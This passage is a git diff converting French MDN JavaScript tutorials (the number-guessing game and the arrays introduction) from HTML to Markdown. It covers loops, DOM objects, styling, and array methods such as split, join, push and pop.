`resetGame()`. -<p>Reste à définir cette fonction ! Ajoutez le code suivant, tout en bas de votre JavaScript :</p> +Reste à définir cette fonction ! Ajoutez le code suivant, tout en bas de votre JavaScript : -<pre class="brush: js">function resetGame() { +```js +function resetGame() { guessCount = 1; let resetParas = document.querySelectorAll('.resultParas p'); - for (let i = 0 ; i < resetParas.length ; i++) { + for (let i = 0 ; i < resetParas.length ; i++) { resetParas[i].textContent = ''; } @@ -586,114 +551,121 @@ greeting;</pre> lastResult.style.backgroundColor = 'white'; randomNumber = Math.floor(Math.random() * 100) + 1; -}</pre> +} +``` -<p>Ce bloc de code assez long réinitialise complètement les paramètres du jeu (le joueur pourra commencer une nouvelle partie). Il permet de :</p> +Ce bloc de code assez long réinitialise complètement les paramètres du jeu (le joueur pourra commencer une nouvelle partie). Il permet de : -<ul> - <li>Remettre le compteur <code>guessCount</code> à 1.</li> - <li>Effacer tous les paragraphes d'information.</li> - <li>Supprimer le bouton de réinitialisation de notre code.</li> - <li>Activer les éléments de formulaire, vide et met au point le champ de texte, prêt à entrer une nouvelle proposition.</li> - <li>Supprimer la couleur d'arrière-plan du paragraphe <code>lastResult</code>.</li> - <li>Génèrer un nouveau nombre aléatoire afin que vous ne deviniez plus le même nombre !</li> -</ul> +- Remettre le compteur `guessCount` à 1. +- Effacer tous les paragraphes d'information. +- Supprimer le bouton de réinitialisation de notre code. +- Activer les éléments de formulaire, vide et met au point le champ de texte, prêt à entrer une nouvelle proposition. +- Supprimer la couleur d'arrière-plan du paragraphe `lastResult`. +- Génèrer un nouveau nombre aléatoire afin que vous ne deviniez plus le même nombre ! -<p><strong>À ce stade, vous devriez avoir un jeu (simple) entièrement fonctionnel — félicitations!</strong></p> +**À ce stade, vous devriez avoir un jeu (simple) entièrement fonctionnel — félicitations!** -<p>Pour finir, c'est le moment de faire une synthèse sur quelques caractéristiques importantes du code ; vous les avez déjà vues, sans forcément vous en rendre compte.</p> +Pour finir, c'est le moment de faire une synthèse sur quelques caractéristiques importantes du code ; vous les avez déjà vues, sans forcément vous en rendre compte. -<h3 id="Boucles">Boucles</h3> +### Boucles -<p>Dans le code précédent, une partie à examiner de plus près est la boucle <a href="/fr/docs/Web/JavaScript/Reference/Instructions/for">for</a>. Les boucles sont un concept très important dans la programmation, qui vous permet de continuer à exécuter un morceau de code encore et encore, jusqu'à ce qu'une certaine condition soit remplie.</p> +Dans le code précédent, une partie à examiner de plus près est la boucle [for](/fr/docs/Web/JavaScript/Reference/Instructions/for). Les boucles sont un concept très important dans la programmation, qui vous permet de continuer à exécuter un morceau de code encore et encore, jusqu'à ce qu'une certaine condition soit remplie. -<p>Pour commencer, allez sur votre <a href="/fr/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs">console developpeur Javascript</a> et entrez ce qui suit :</p> +Pour commencer, allez sur votre [console developpeur Javascript](/fr/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs) et entrez ce qui suit : -<pre class="brush: js">for (let i = 1 ; i < 21 ; i++) { console.log(i) }</pre> +```js +for (let i = 1 ; i < 21 ; i++) { console.log(i) } +``` -<p>Que s'est-il passé ? Les nombres de 1 à 20 s'affichent dans la console. C'est à cause de la boucle. Une boucle : <code>for</code> prend trois valeurs d'entrée (arguments)</p> +Que s'est-il passé ? Les nombres de 1 à 20 s'affichent dans la console. C'est à cause de la boucle. Une boucle : `for` prend trois valeurs d'entrée (arguments) -<ol> - <li><strong>Une valeur de départ </strong>: Dans ce cas, nous commençons un compte à 1, mais cela pourrait être n'importe quel nombre. Vous pouvez remplacer <code>i</code> par n'importe quel nom (ou presque...) , mais <code>i</code> est utilisé par convention car il est court et facile à retenir.</li> - <li><strong>Une condition de fin </strong>: Ici, nous avons spécifié <code>i < 21</code> la boucle continuera jusqu'à ce que <code>i</code> ne soit plus inférieur à 21. Quand <code>i</code> atteindra ou dépassera 21, la boucle s'arrêtera.</li> - <li><strong>Un incrémenteur </strong>: Nous avons spécifié <code>i++</code>, ce qui signifie "ajouter 1 à i". La boucle sera exécutée une fois pour chaque valeur de <code>i</code>, jusqu'a ce que <code>i</code> atteigne une valeur de 21 (comme indiqué ci-dessus). Dans ce cas, nous imprimons simplement la valeur de <code>i</code> sur la console à chaque itération en utilisant {{domxref("Console.log", "console.log()")}}.</li> -</ol> +1. **Une valeur de départ** : Dans ce cas, nous commençons un compte à 1, mais cela pourrait être n'importe quel nombre. Vous pouvez remplacer `i` par n'importe quel nom (ou presque...) , mais `i` est utilisé par convention car il est court et facile à retenir. +2. **Une condition de fin** : Ici, nous avons spécifié `i < 21` la boucle continuera jusqu'à ce que `i` ne soit plus inférieur à 21. Quand `i` atteindra ou dépassera 21, la boucle s'arrêtera. +3. **Un incrémenteur** : Nous avons spécifié `i++`, ce qui signifie "ajouter 1 à i". La boucle sera exécutée une fois pour chaque valeur de `i`, jusqu'a ce que `i` atteigne une valeur de 21 (comme indiqué ci-dessus). Dans ce cas, nous imprimons simplement la valeur de `i` sur la console à chaque itération en utilisant {{domxref("Console.log", "console.log()")}}. -<p>Maintenant, regardons la boucle dans notre jeu de devinettes de nombres <strong>—</strong> ce qui suit peut être trouvé dans la fonction <code>resetGame()</code> :</p> +Maintenant, regardons la boucle dans notre jeu de devinettes de nombres **—** ce qui suit peut être trouvé dans la fonction `resetGame()` : -<pre class="brush: js">let resetParas = document.querySelectorAll('.resultParas p'); -for (let i = 0 ; i < resetParas.length ; i++) { +```js +let resetParas = document.querySelectorAll('.resultParas p'); +for (let i = 0 ; i < resetParas.length ; i++) { resetParas[i].textContent = ''; -}</pre> +} +``` + +Ce code crée une variable contenant une liste de tous les paragraphes à l'intérieur de `<div class="resultParas">` en utilisant la méthode {{domxref ("Document.querySelectorAll", "querySelectorAll ()")}}, puis il passe dans la boucle et pour chacun d'entre eux supprime le contenu du texte. + +### Une petite discussion sur les objets -<p>Ce code crée une variable contenant une liste de tous les paragraphes à l'intérieur de <code><div class="resultParas"></code> en utilisant la méthode {{domxref ("Document.querySelectorAll", "querySelectorAll ()")}}, puis il passe dans la boucle et pour chacun d'entre eux supprime le contenu du texte.</p> +Voyons une dernière amélioration avant d'aborder cette discussion. Ajoutez la ligne suivante juste en dessous de `let resetButton;` ligne près du haut de votre JavaScript, puis enregistrez votre fichier : -<h3 id="Une_petite_discussion_sur_les_objets">Une petite discussion sur les objets</h3> +```js +guessField.focus(); +``` -<p>Voyons une dernière amélioration avant d'aborder cette discussion. Ajoutez la ligne suivante juste en dessous de <code>let resetButton;</code> ligne près du haut de votre JavaScript, puis enregistrez votre fichier :</p> +Cette ligne utilise la méthode{{domxref("HTMLElement.focus", "focus()")}} pour placer automatiquement le curseur dans le champ texte {{htmlelement ("input")}} dès le chargement de la page, permettant à l'utilisateur de commencer à taper sa première proposition de suite sans avoir à cliquer préalablement dans le champ. Ce n'est qu'un petit ajout, mais cela améliore la convivialité en donnant à l'utilisateur une bonne idée visuelle de ce qu'il doit faire pour jouer. -<pre class="brush: js">guessField.focus();</pre> +Analysons ce qui se passe ici un peu plus en détail. En JavaScript, tout est objet. Un objet JavaScript possède des propriétés, chacune définissant une caractéristique. Vous pouvez créer vos propres objets, mais cela est une notion assez avancée, nous ne la couvrirons que beaucoup plus tard dans le cours. Pour l'instant, nous allons discuter brièvement des objets intégrés que contient votre navigateur, ce qui vous permet de faire beaucoup de choses utiles. -<p>Cette ligne utilise la méthode{{domxref("HTMLElement.focus", "focus()")}} pour placer automatiquement le curseur dans le champ texte {{htmlelement ("input")}} dès le chargement de la page, permettant à l'utilisateur de commencer à taper sa première proposition de suite sans avoir à cliquer préalablement dans le champ. Ce n'est qu'un petit ajout, mais cela améliore la convivialité en donnant à l'utilisateur une bonne idée visuelle de ce qu'il doit faire pour jouer.</p> +Dans ce cas particulier, nous avons d'abord créé une variable `guessField` qui stocke une référence au champ de formulaire de saisie de texte dans notre HTML **—** la ligne suivante se trouve parmi nos déclarations de variables en haut du code : + +```js +let guessField = document.querySelector('.guessField'); +``` -<p>Analysons ce qui se passe ici un peu plus en détail. En JavaScript, tout est objet. Un objet JavaScript possède des propriétés, chacune définissant une caractéristique. Vous pouvez créer vos propres objets, mais cela est une notion assez avancée, nous ne la couvrirons que beaucoup plus tard dans le cours. Pour l'instant, nous allons discuter brièvement des objets intégrés que contient votre navigateur, ce qui vous permet de faire beaucoup de choses utiles.</p> +Pour obtenir cette référence, nous avons utilisé la méthode {{domxref("document.querySelector", "querySelector()")}} de l'objet {{domxref ("document")}}. `querySelector()` prend une information - un [sélecteur CSS ](/fr/docs/Apprendre/CSS/Introduction_à_CSS/Les_sélecteurs)qui sélectionne l'élément auquel vous voulez faire référence. -<p>Dans ce cas particulier, nous avons d'abord créé une variable <code>guessField</code> qui stocke une référence au champ de formulaire de saisie de texte dans notre HTML <strong>—</strong> la ligne suivante se trouve parmi nos déclarations de variables en haut du code :</p> +Parce que `guessField` contient maintenant une référence à un élément {{htmlelement ("input")}}, il aura maintenant accès à un certain nombre de propriétés (essentiellement des variables stockées dans des objets, dont certaines ne peuvent pas être modifiées) et des méthodes (essentiellement des fonctions stockées dans des objets). Une méthode disponible pour entrer des éléments est `focus()`, donc nous pouvons maintenant utiliser cette ligne pour focaliser l'entrée de texte : -<pre class="brush: js">let guessField = document.querySelector('.guessField');</pre> +```js +guessField.focus(); +``` -<p>Pour obtenir cette référence, nous avons utilisé la méthode {{domxref("document.querySelector", "querySelector()")}} de l'objet {{domxref ("document")}}. <code>querySelector()</code> prend une information - un <a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/Les_sélecteurs">sélecteur CSS </a>qui sélectionne l'élément auquel vous voulez faire référence.</p> +Les variables qui ne contiennent pas de références aux éléments de formulaire n'auront pas de `focus()` à leur disposition. Par exemple, la variable `guesses` contient une référence à un élément {{htmlelement ("p")}} et `guessCount` contient un nombre. -<p>Parce que <code>guessField</code> contient maintenant une référence à un élément {{htmlelement ("input")}}, il aura maintenant accès à un certain nombre de propriétés (essentiellement des variables stockées dans des objets, dont certaines ne peuvent pas être modifiées) et des méthodes (essentiellement des fonctions stockées dans des objets). Une méthode disponible pour entrer des éléments est <code>focus()</code>, donc nous pouvons maintenant utiliser cette ligne pour focaliser l'entrée de texte :</p> +### Jouer avec les objets du navigateur -<pre class="brush: js">guessField.focus();</pre> +Jouons un peu avec certains objets du navigateur. -<p>Les variables qui ne contiennent pas de références aux éléments de formulaire n'auront pas de <code>focus()</code> à leur disposition. Par exemple, la variable <code>guesses</code> contient une référence à un élément {{htmlelement ("p")}} et <code>guessCount</code> contient un nombre.</p> +1. Tout d'abord, ouvrez votre programme dans un navigateur. +2. Ensuite, ouvrez les [outils de développement](/fr/docs/Apprendre/Découvrir_outils_développement_navigateurs) de votre navigateur et assurez-vous que l'onglet de la console JavaScript est ouvert. +3. Tapez `guessField` et la console vous montrera que la variable contient un élément {{htmlelement ("input")}}. Vous remarquerez également que la console complète automatiquement les noms d'objets existant dans l'environnement d'exécution, y compris vos variables! +4. Maintenant, tapez ce qui suit : -<h3 id="Jouer_avec_les_objets_du_navigateur">Jouer avec les objets du navigateur</h3> + ```js + guessField.value = 'Hello'; + ``` -<p>Jouons un peu avec certains objets du navigateur.</p> + La propriété `value` représente la valeur courante entrée dans un champs de texte. Vous verrez qu'en entrant cette commande nous avons changé ce que c'est. -<ol> - <li> Tout d'abord, ouvrez votre programme dans un navigateur.</li> - <li> Ensuite, ouvrez les <a href="/fr/docs/Apprendre/Découvrir_outils_développement_navigateurs">outils de développement</a> de votre navigateur et assurez-vous que l'onglet de la console JavaScript est ouvert.</li> - <li> Tapez <code>guessField</code> et la console vous montrera que la variable contient un élément {{htmlelement ("input")}}. Vous remarquerez également que la console complète automatiquement les noms d'objets existant dans l'environnement d'exécution, y compris vos variables!</li> - <li> - <p> Maintenant, tapez ce qui suit :</p> +5. Tapez maintenant `guesses` and appuyez sur entrée. La console vous montrera que la variable contient un élément {{htmlelement ("p")}}. +6. Maintenant, essayez d'entrer la ligne suivante : - <pre class="brush: js">guessField.value = 'Hello'; -</pre> + ```js + guesses.value + ``` - <p class="brush: js">La propriété <code>value</code> représente la valeur courante entrée dans un champs de texte. Vous verrez qu'en entrant cette commande nous avons changé ce que c'est.</p> - </li> - <li>Tapez maintenant <code>guesses</code> and appuyez sur entrée. La console vous montrera que la variable contient un élément {{htmlelement ("p")}}.</li> - <li> - <p>Maintenant, essayez d'entrer la ligne suivante :</p> + Le navigateur va retourner `undefined`, parce que `value` n'existe pas dans le paragraphe. - <pre class="brush: js">guesses.value -</pre> +7. Pour changer le texte dans le paragraphe vous aurez besoin de la propriété {{domxref("Node.textContent", "textContent")}} à la place. + Essayez ceci : - <p class="brush: js">Le navigateur va retourner <code>undefined</code>, parce que <code>value</code> n'existe pas dans le paragraphe.</p> - </li> - <li> - <p>Pour changer le texte dans le paragraphe vous aurez besoin de la propriété {{domxref("Node.textContent", "textContent")}} à la place.<br> - Essayez ceci :</p> + ```js + guesses.textContent = 'Where is my paragraph?'; + ``` - <pre class="brush: js">guesses.textContent = 'Where is my paragraph?'; -</pre> - </li> - <li>Maintenant, pour des trucs amusants. Essayez d'entrer les lignes ci-dessous, une par une :</li> -</ol> +8. Maintenant, pour des trucs amusants. Essayez d'entrer les lignes ci-dessous, une par une : -<pre class="brush: js">guesses.style.backgroundColor = 'yellow'; +```js +guesses.style.backgroundColor = 'yellow'; guesses.style.fontSize = '200%'; guesses.style.padding = '10px'; -guesses.style.boxShadow = '3px 3px 6px black';</pre> +guesses.style.boxShadow = '3px 3px 6px black'; +``` -<p>Chaque élément d'une page possède une propriété de <code>style</code> , qui contient elle-même un objet dont les propriétés contiennent tous les styles CSS en ligne appliqués à cet élément. Cela nous permet de définir dynamiquement de nouveaux styles CSS sur des éléments en utilisant JavaScript.</p> +Chaque élément d'une page possède une propriété de `style` , qui contient elle-même un objet dont les propriétés contiennent tous les styles CSS en ligne appliqués à cet élément. Cela nous permet de définir dynamiquement de nouveaux styles CSS sur des éléments en utilisant JavaScript. -<h2 id="Cest_fini_pour_le_moment...">C'est fini pour le moment...</h2> +## C'est fini pour le moment... -<p>Vous voilà parvenu au bout de cet exemple, bravo ! Essayez votre code enfin complété ou<a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game.html"> jouez avec notre version finale ici</a>. Si vous ne parvenez pas à faire fonctionner l'exemple, vérifiez-le par rapport <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html">au code source.</a></p> +Vous voilà parvenu au bout de cet exemple, bravo ! Essayez votre code enfin complété ou[ jouez avec notre version finale ici](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game.html). Si vous ne parvenez pas à faire fonctionner l'exemple, vérifiez-le par rapport [au code source.](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html) -<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</p> +{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}} diff --git a/files/fr/learn/javascript/first_steps/arrays/index.md b/files/fr/learn/javascript/first_steps/arrays/index.md index b201776dd1..50bb6db903 100644 --- a/files/fr/learn/javascript/first_steps/arrays/index.md +++ b/files/fr/learn/javascript/first_steps/arrays/index.md @@ -18,39 +18,44 @@ tags: translation_of: Learn/JavaScript/First_steps/Arrays original_slug: Learn/JavaScript/First_steps/tableaux --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}} -<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}</div> - -<p>Dans le dernier article de ce module, nous examinerons les tableaux — une façon de stocker proprement une liste d'éléments de données sous un seul nom de variable. Ici nous verrons pourquoi c'est utile, puis nous apprendrons comment créer un tableau, y retrouver, y ajouter ou en enlever les éléments dedans, et quelques à‑côtés en bonus.</p> +Dans le dernier article de ce module, nous examinerons les tableaux — une façon de stocker proprement une liste d'éléments de données sous un seul nom de variable. Ici nous verrons pourquoi c'est utile, puis nous apprendrons comment créer un tableau, y retrouver, y ajouter ou en enlever les éléments dedans, et quelques à‑côtés en bonus. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vocabulaire courant de l'informatique, bases de HTML et CSS, compréhension de ce que fait JavaScript.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre ce que sont les tableaux et savoir comment les manipuler en JavaScript.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vocabulaire courant de l'informatique, bases de HTML et CSS, + compréhension de ce que fait JavaScript. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre ce que sont les tableaux et savoir comment les manipuler en + JavaScript. + </td> + </tr> + </tbody> </table> -<h2 id="Quest‑ce_quun_tableau">Qu'est‑ce qu'un tableau ?</h2> +## Qu'est‑ce qu'un tableau ? -<p>Les tableaux sont généralement décrits comme des "objets de type liste" ; un tableau est un objet contenant plusieurs valeurs. Les objets tableau peuvent être stockés dans des variables et traités de la même manière que tout autre type de valeur, la différence étant que nous pouvons accéder à chaque valeur du tableau individuellement, et faire des choses super utiles et efficaces avec la liste des valeurs, comme boucler et faire la même chose pour chaque valeur. Peut-être que nous avons une série d'articles et leurs prix stockés dans un tableau, et nous voulons les parcourir tous et les imprimer sur une facture, tout en totalisant tous les prix ensemble et en imprimant le prix total en bas.</p> +Les tableaux sont généralement décrits comme des "objets de type liste" ; un tableau est un objet contenant plusieurs valeurs. Les objets tableau peuvent être stockés dans des variables et traités de la même manière que tout autre type de valeur, la différence étant que nous pouvons accéder à chaque valeur du tableau individuellement, et faire des choses super utiles et efficaces avec la liste des valeurs, comme boucler et faire la même chose pour chaque valeur. Peut-être que nous avons une série d'articles et leurs prix stockés dans un tableau, et nous voulons les parcourir tous et les imprimer sur une facture, tout en totalisant tous les prix ensemble et en imprimant le prix total en bas. -<p>Sans tableaux, nous devrions stocker chaque valeur dans une variable séparée, puis appeler le code qui effectue l'affichage ou l'impression, puis ajouter séparément chaque élément. Ce serait plus long à écrire, moins efficace et cela comporterait plus de risques d'erreurs. Si nous avions 10 articles à ajouter à la facture, ce serait déjà assez mauvais, mais qu'en serait-il de 100 articles ou de 1000 ? Nous reviendrons sur cet exemple plus loin dans l'article.</p> +Sans tableaux, nous devrions stocker chaque valeur dans une variable séparée, puis appeler le code qui effectue l'affichage ou l'impression, puis ajouter séparément chaque élément. Ce serait plus long à écrire, moins efficace et cela comporterait plus de risques d'erreurs. Si nous avions 10 articles à ajouter à la facture, ce serait déjà assez mauvais, mais qu'en serait-il de 100 articles ou de 1000 ? Nous reviendrons sur cet exemple plus loin dans l'article. -<p>Comme précédemment, initions‑nous aux bases pratiques des tableaux en entrant quelques exemples dans une console JavaScript. En voici une plus bas (vous pouvez aussi <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">ouvrir cette console</a> dans un onglet ou une fenêtre séparés ou utiliser la <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">console développeur de l'explorateur</a> si vous préférez).</p> +Comme précédemment, initions‑nous aux bases pratiques des tableaux en entrant quelques exemples dans une console JavaScript. En voici une plus bas (vous pouvez aussi [ouvrir cette console](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html) dans un onglet ou une fenêtre séparés ou utiliser la [console développeur de l'explorateur](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) si vous préférez). -<pre class="brush: html hidden"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>JavaScript console</title> - <style> +```html hidden +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>JavaScript console</title> + <style> * { box-sizing: border-box; } @@ -98,14 +103,14 @@ original_slug: Learn/JavaScript/First_steps/tableaux clear: both; } - </style> - </head> - <body> + </style> + </head> + <body> - </body> + </body> - <script> + <script> var geval = eval; function createInput() { var inputDiv = document.createElement('div'); @@ -113,12 +118,12 @@ original_slug: Learn/JavaScript/First_steps/tableaux var inputForm = document.createElement('input'); inputDiv.setAttribute('class','input'); - inputPara.textContent = '>'; + inputPara.textContent = '>'; inputDiv.appendChild(inputPara); inputDiv.appendChild(inputForm); document.body.appendChild(inputDiv); - if(document.querySelectorAll('div').length > 1) { + if(document.querySelectorAll('div').length > 1) { inputForm.focus(); } @@ -148,181 +153,208 @@ original_slug: Learn/JavaScript/First_steps/tableaux createInput(); - </script> -</html></pre> + </script> +</html> +``` + +{{ EmbedLiveSample('Quest‑ce_quun_tableau', '100%', 300) }} + +### Créer un tableau + +On définit les valeurs d'un tableau par une liste d'éléments entre crochets droits, séparés par des virgules. + +1. Disons que nous voulons mettre une liste d'achats dans un tableau — nous devons opérer comme suit. Entrez les lignes ci‑après dans la console : + + ```js + let shopping = ['pain', 'lait', 'fromage', 'houmous', 'nouilles']; + shopping; + ``` + +2. Dans ce cas, chaque élément du tableau est une chaîne, mais gardez en tête que vous pouvez stocker n'importe quel élément dans un tableau — chaîne, nombre, objet, autre variable et même d'autres tableaux. Vous pouvez également mélanger et assortir les types d'articles — il n'est pas obligatoire que ce soient tous des nombres, des chaînes, etc. Essayez ceci : +3. ```js + let sequence = [1, 1, 2, 3, 5, 8, 13]; + let random = ['arbre', 795, [0, 1, 2]]; + ``` +4. Créez donc quelques tableaux de votre cru avant de continuer. -<p>{{ EmbedLiveSample('Quest‑ce_quun_tableau', '100%', 300) }}</p> +### Accès aux éléments de tableau et modification de ceux‑ci -<h3 id="Créer_un_tableau">Créer un tableau</h3> +Vous pouvez avoir accès isolément aux éléments dans un tableau en utilisant la notation crochet, de la même façon que nous avons eu [accès aux lettres dans une chaîne](/fr/docs/Learn/JavaScript/First_steps/Useful_string_methods#retrieving_a_specific_string_character). -<p>On définit les valeurs d'un tableau par une liste d'éléments entre crochets droits, séparés par des virgules.</p> +1. Entrez ceci dans la console : -<ol> - <li>Disons que nous voulons mettre une liste d'achats dans un tableau — nous devons opérer comme suit. Entrez les lignes ci‑après dans la console : - <pre class="brush: js">let shopping = ['pain', 'lait', 'fromage', 'houmous', 'nouilles']; -shopping;</pre> - </li> - <li>Dans ce cas, chaque élément du tableau est une chaîne, mais gardez en tête que vous pouvez stocker n'importe quel élément dans un tableau — chaîne, nombre, objet, autre variable et même d'autres tableaux. Vous pouvez également mélanger et assortir les types d'articles — il n'est pas obligatoire que ce soient tous des nombres, des chaînes, etc. Essayez ceci :</li> - <li> - <pre class="brush: js">let sequence = [1, 1, 2, 3, 5, 8, 13]; -let random = ['arbre', 795, [0, 1, 2]];</pre> - </li> - <li>Créez donc quelques tableaux de votre cru avant de continuer.</li> -</ol> + ```js + shopping[0]; + // renvoie "pain" + ``` -<h3 id="Accès_aux_éléments_de_tableau_et_modification_de_ceux‑ci">Accès aux éléments de tableau et modification de ceux‑ci</h3> +2. Vous pouvez aussi modifier un élément dans un tableau en donnant simplement une nouvelle valeur à l'élément. Essayez ceci : -<p>Vous pouvez avoir accès isolément aux éléments dans un tableau en utilisant la notation crochet, de la même façon que nous avons eu <a href="/fr/docs/Learn/JavaScript/First_steps/Useful_string_methods#retrieving_a_specific_string_character">accès aux lettres dans une chaîne</a>.</p> + ```js + shopping[0] = 'crème de sésame'; + shopping; + // shopping renvoie maintenant [ "crème de sésame", "lait", "fromage", "houmous", "nouilles" ] + ``` -<ol> - <li>Entrez ceci dans la console : - <pre class="brush: js">shopping[0]; -// renvoie "pain"</pre> - </li> - <li>Vous pouvez aussi modifier un élément dans un tableau en donnant simplement une nouvelle valeur à l'élément. Essayez ceci : - <pre class="brush: js">shopping[0] = 'crème de sésame'; -shopping; -// shopping renvoie maintenant [ "crème de sésame", "lait", "fromage", "houmous", "nouilles" ]</pre> + > **Note :** Nous l'avons déjà dit, mais enseigner c'est répéter — les ordinateurs commencent les décomptes à partir de 0 ! - <div class="note"> - <p><strong>Note :</strong> Nous l'avons déjà dit, mais enseigner c'est répéter — les ordinateurs commencent les décomptes à partir de 0 !</p></div> - </li> - <li>Notez qu'un tableau à l'intérieur d'un tableau est appelé un tableau multidimensionnel. Vous accédez à un des éléments de ce tableau interne en chaînant deux paires de crochets. Par exemple, pour avoir accès à l'un des éléments (le troisième) du tableau élément du tableau <code>random</code> (voir la section précédente), vous pouvez écrire quelque chose comme :</li> - <li> - <pre class="brush: js">random[2][2];</pre> - </li> - <li>Poursuivez et faites quelques autres modifications dans les exemples de tableaux avant de poursuivre.</li> -</ol> +3. Notez qu'un tableau à l'intérieur d'un tableau est appelé un tableau multidimensionnel. Vous accédez à un des éléments de ce tableau interne en chaînant deux paires de crochets. Par exemple, pour avoir accès à l'un des éléments (le troisième) du tableau élément du tableau `random` (voir la section précédente), vous pouvez écrire quelque chose comme : +4. ```js + random[2][2]; + ``` +5. Poursuivez et faites quelques autres modifications dans les exemples de tableaux avant de poursuivre. -<h3 id="Trouver_la_taille_dun_tableau">Trouver la taille d'un tableau</h3> +### Trouver la taille d'un tableau -<p>Vous pouvez trouver la taille d'un tableau (le nombre d'éléments qu'il comporte) de la même façon que vous obtenez la taille (en caractères) d'un chaîne — avec la propriété {{jsxref("Array.prototype.length","length")}}. Essayez :</p> +Vous pouvez trouver la taille d'un tableau (le nombre d'éléments qu'il comporte) de la même façon que vous obtenez la taille (en caractères) d'un chaîne — avec la propriété {{jsxref("Array.prototype.length","length")}}. Essayez : -<pre class="brush: js">sequence.length; -// renvoie 7</pre> +```js +sequence.length; +// renvoie 7 +``` -<p>Il y a d'autres usages, mais le plus courant permet de dire à une boucle de poursuivre jusqu'à ce que tous les éléments du tableau aient été passés en revue. Ainsi, par exemple :</p> +Il y a d'autres usages, mais le plus courant permet de dire à une boucle de poursuivre jusqu'à ce que tous les éléments du tableau aient été passés en revue. Ainsi, par exemple : -<pre class="brush: js">let sequence = [1, 1, 2, 3, 5, 8, 13]; -for (var i = 0; i < sequence.length; i++) { +```js +let sequence = [1, 1, 2, 3, 5, 8, 13]; +for (var i = 0; i < sequence.length; i++) { console.log(sequence[i]); -}</pre> +} +``` + +Vous en apprendrez plus sur les boucles dans un prochain article, mais, en résumé, ce code dit : + +1. Commencer la boucle à l'élément 0 du tableau. +2. Arrêter de tourner quand le dernier élément du tableau sera atteint. Cela fonctionne pour n'importe quelle dimension de tableau ; dans notre cas, on sortira de la boucle à l'élément 7 (c'est bon, car le dernier élément — que nous souhaitons que la boucle traite — est le 6). +3. Afficher chaque élément sur la console de l'explorateur avec` console.log()`. + +## Quelques méthodes utiles pour les tableaux + +Dans ce paragraphe nous examinerons quelques méthodes de tableaux à connaître. Elles permettent de scinder des chaînes en éléments de tableau et inversement, et d'ajouter de nouveaux éléments dans des tableaux. + +### Conversions entre chaînes et tableaux + +Souvent, vous serez confronté à des données brutes contenues dans une longue chaîne de caractères, et vous voudrez peut-être en extraire les éléments utiles sous une forme plus pratique pour en faire quelque chose, comme les afficher dans un tableau de données. Pour ce faire, nous pouvons utiliser la méthode {{jsxref ("String. prototype. prototype. split ()","split ()")}}. Dans sa formulation la plus simple, elle prend un seul paramètre, le caractère servant de séparateur ; elle renverra les sous-chaînes entre séparateurs en tant qu'éléments d'un tableau. + +> **Note :** D'accord, techniquement parlant c'est une méthode de chaîne, et non une méthode de tableau, mais nous la mettons dans le chapitre des tableaux car elle est bien à sa place ici. + +1. Servons‑nous en et voyons comment elle fonctionne. D'abord créons une chaîne dans la console : + + ```js + let myData = 'Manchester,London,Liverpool,Birmingham,Leeds,Carlisle'; + ``` + +2. Scindons‑la à chaque virgule : + + ```js + let myArray = myData.split(','); + myArray; + ``` + +3. Pour terminer, trouvons la taille du nouveau tableau et retrouvons quelques‑uns de ses éléments : + + ```js + myArray.length; + myArray[0]; // le premier élément du tableau + myArray[1]; // le deuxième élément du tableau + myArray[myArray.length-1]; // le dernier élément du tableau + ``` + +4. Vous pouvez également faire le contraire avec la méthode {{jsxref("Array.prototype.join()","join()")}}. Essayons : + + ```js + let myNewString = myArray.join(','); + myNewString; + ``` + +5. Une autre façon de convertir un tableau en chaîne consiste à se servir de la méthode {{jsxref("Array.prototype.toString()","toString()")}}. `toString()` est plus simple au plan des arguments que `join()`, car elle ne prend pas de paramètre, mais elle est plus limitée. Avec `join()` vous pouvez diversifier les séparateurs (essayez de lancer la commande du point 4 avec un caractère autre que la virgule). + + ```js + let dogNames = ["Rocket","Flash","Bella","Slugger"]; + dogNames.toString(); //Rocket,Flash,Bella,Slugger + ``` + +### Ajout et suppression d'éléments de tableau + +Nous n'avons pas encore parlé d'ajout et de suppression d'éléments de tableau — allons‑y. Nous utiliserons le tableau `myArray` dont nous nous sommes servis à la fin de la dernière section. Si vous n'avez pas entré les commandes de cette section dans la console, il est nécessaire de créer d'abord le tableau : + +```js +let myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carlisle']; +``` -<p>Vous en apprendrez plus sur les boucles dans un prochain article, mais, en résumé, ce code dit :</p> +Premièrement, pour ajouter ou supprimer un élément à la fin du tableau, vous pouvez respectivement utiliser {{jsxref("Array.prototype.push()","push()")}} et {{jsxref("Array.prototype.pop()","pop()")}}. -<ol> - <li>Commencer la boucle à l'élément 0 du tableau.</li> - <li>Arrêter de tourner quand le dernier élément du tableau sera atteint. Cela fonctionne pour n'importe quelle dimension de 